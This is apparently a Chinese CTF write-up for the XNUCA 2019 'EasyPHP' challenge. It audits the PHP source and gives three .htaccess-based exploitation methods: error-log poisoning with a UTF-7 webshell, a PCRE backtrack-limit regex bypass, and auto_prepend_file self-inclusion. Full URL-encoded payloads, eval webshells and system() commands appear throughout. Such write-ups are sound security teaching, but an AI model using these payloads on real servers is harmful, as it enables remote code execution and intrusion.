XNUCA2019Qualifier-EasyPHP

XNUCA2019Qualifier-EasyPHP

参考博客:

https://www.cnblogs.com/20175211lyz/p/11740901.html

https://www.cnblogs.com/Article-kelp/p/14998652.html

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

代码审计:

首先会对当前访问的php页面文件(index.php)所在的文件夹进行遍历,获取当前目录下的文件名和文件夹名,然后删除不为”index.php”的其他文件。

包含文件fl3g.php,如果未使用GET方式对参数content和参数filename传值则显示当前PHP文件源码并结束程序。

接收GET方式对参数content传值,并赋值给变量content,对content的值进行检测,如果含有”on”,”html”,”type”,”flag”,”upload”,”file”则会结束程序。

接收GET方式对参数filename传值,并赋值给变量filename,并限制filename的值仅能使用小写字符和符号”.”,如果含有其他字符则会结束程序。

再次对非”index.php”的其他文件进行删除

将变量filename作为文件名,变量content拼接上字符串”\nJust one chance”后作为文件内容写入该文件


这里尝试了下不能直接传入一句话木马的shell。因为传入的文件不会被正常当成PHP文件来解析。随后在对应的源代码配置中发现,设定了只能访问目录下的index.php时PHP引擎才会开启。

这题和之前有道题一样需要传入.htaccess文件。看了wp发现有三种解法。之前那道相似的题的payload也可以用在这,但是是非预期解

解法一 error_log结合log_errors自定义错误日志

1、error_log结合log_errors自定义错误日志

.htaccess文件中可以自己定义error_log,更多配置可以在php.ini配置选项列表找到

error_log是依靠出现错误来触发写日志的,所以最好让error_log把所有等级的错误均写成日志,这样方便我们写入,而error_reporting就能设置写日志需要的错误等级。

其中当参数为32767时,表示为所有等级的错误。

1
2
3
php_value include_path "xxx"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php

只要我们填入一个不存在的路径就可以实现报错,然后就可以做到将报错信息中的payload,如:
[Fri Oct 25 17:44:29.533900 2019] [php7:warn] [pid 1387] [client 172.20.10.2:1147] PHP Warning: include_once(): Failed opening 'fl3g.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/ctf/index.php on line 10

这里的包含路径我们用shellcode代替,这样就能在我们指定的报错日志文件(/tmp/fl3g.php)中写入shellcode。

仅三个目录有增删文件的权限,这三个目录分别是/tmp/、/var/tmp/和/var/www/html/(即我们当前储存PHP代码的文件夹),其他目录由于没有增删文件的权限所以我们error_log也因无法在这些目录下创建日志文件而失效(对于tmp文件夹或许是出于临时储存的需求所以需要的权限较低?并没有找到关于这点相关资料,但看wp都选择了/tmp/)。

2、include_path设置包含路径

.htaccess可以设置php_value include_path "xxx"include()的默认路径改变

3、php_value zend.multibyte 1结合php_value zend.script_encoding “UTF-7”绕过尖括号<过滤

我们的payload并不可直接使用,在写入日志时符号”<”与”>”被进行了HTML转义,我们的php代码也就不会被识别。

这里使用utf-7编码绕过。

参考[l33t-hoster](https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack 2019/l33t-hoster/l33t-hoster.md)

写入utf-7编码的shellcode可以绕过<?的过滤
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs

需要在.htaccess中配置解析的编码:

1
2
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"

zend.multibyte决定是否开启编码的检测和解析

zend.script_encoding决定采用什么编码

4、# \绕过.htaccesss中的多余字符

由于源码会在我们的payload后添加\nJust one chance,这会导致我们的.htaccess文件解析出错,无法发挥作用。

直接写入会变成这样:

1
2
3
4
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
Just one chance

我们这里可以使用#\来绕过,\可以转义掉\n中的\,从而使其失去换行作用,然后前面的#可以将这一行的内容注释掉,这样就能正常解析了。

效果:

1
2
3
4
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \nJust one chance

现在全都过滤成功了。构造最终payload:

payload构造

首先在/tmp/fl3g.php中写入shellcode,注意使用其UTF-7编码的格式,同时开启PHP对UTF-7编码的解码,这样就能绕过了。

需要注意的是__halt_compiler函数用来终端编译器的执行,如果我们不带上这个函数的话包含我们的日志文件会导致500甚至崩掉

.htaccess

1
2
3
4
php_value include_path "/tmp/xx/+ADw-?php eval($_POST[1]);__halt_compiler();"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \

url编码后的payload:

1
?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%2Fxx%2F%2BADw-%3Fphp%20eval(%24_POST%5B1%5D)%3B__halt_compiler()%3B%22%0Aphp_value%20error_reporting%2032767%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C

我们再访问一次就能触发include包含的错误路径即shellcode记录在日志文件中(/tmp/fl3g.php)。

然后我们需要再写入一个新的.htaccess文件设置让我们的日志中的UTF-7编码能成功被解码,这样我们的PHP代码才能被解析。

.htaccess

1
2
3
4
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

url编码后的payload:

1
?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0Aphp_value%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C

(.htaccess中的设置会在PHP文件执行之前被加载,所以不用担心删除导致.htaccess在本次访问时不生效,但是我们执行一次命令后.htaccess文件就会被删除)。

然后我们就可以使用一句话木马来读取flag。并且这里不能用一句话木马来写入shell,因为也是无法当成php来解析的,只有index.php才能被当成php解析。也不能用蚁剑连接,所以这里基本上算是一次性shell。

1
2
POST:
1=system('cat /flag');

解法二 .htaccess配置prce绕过正则匹配

.htaccess

1
2
3
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \

if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

payload构造

url编码后的payload

1
?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0Aphp_value%20pcre.jit%200%0A%23%20%5C

然后这个时候我们就能突破了文件名的限制上传fl3g.php了,在fl3g.php中写上一句话之后就能为我们所用了。但是要注意传到当前目录是不行的,源码表明了会清除当前目录下非index.php文件,因为包含语句在删除语句之后所以我们传入在当起目录的话还没包含就已经被删除了,这里选择根目录下的tmp文件上传。

1
?filename=/tmp/fl3g.php&content=<?php eval($_POST[1]);?>

然后再上传一个.htaccess文件,修改设置include_path为/tmp,包含/tmp目录下的fl3g.php文件使其被当成php文件解析

1
2
3
4
php_value include_path "/tmp"
# \

?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0A%23%20%5C

可以连蚁剑。注意每一次都需要重新生成.htaccess文件

1
http://49f13073-0a91-48ae-9e1e-aec6f53abccb.node5.buuoj.cn:81/?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0A%23%20%5C

也可以直接命令执行

1
2
3
4
http://49f13073-0a91-48ae-9e1e-aec6f53abccb.node5.buuoj.cn:81/

post
1=system('ls');

解法三 .htaccess文件包含

在.htaccess中#表示注释符号的意思,所以我们可以将一句话放在#后面,再让PHP文件包含.htaccess,此外再使用符号”"换行的功能绕过对关键词file的检测,再让我们每次访问时均生成这样一个.htaccess,这样就能得到一个可以用在蚁剑上的一句话了。

1
2
3
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_POST[1]);?>\

蚁剑连接

1
http://49f13073-0a91-48ae-9e1e-aec6f53abccb.node5.buuoj.cn:81/?filename=.htaccess&content=php_value%20auto_prepend_fi%5C%0Ale%20%22.htaccess%22%0A%23%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E%5C

也可以命令执行,但是每一个.htaccess文件只能执行一次。

1
2
3
4
http://49f13073-0a91-48ae-9e1e-aec6f53abccb.node5.buuoj.cn:81/

post:
1=system('ls');

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github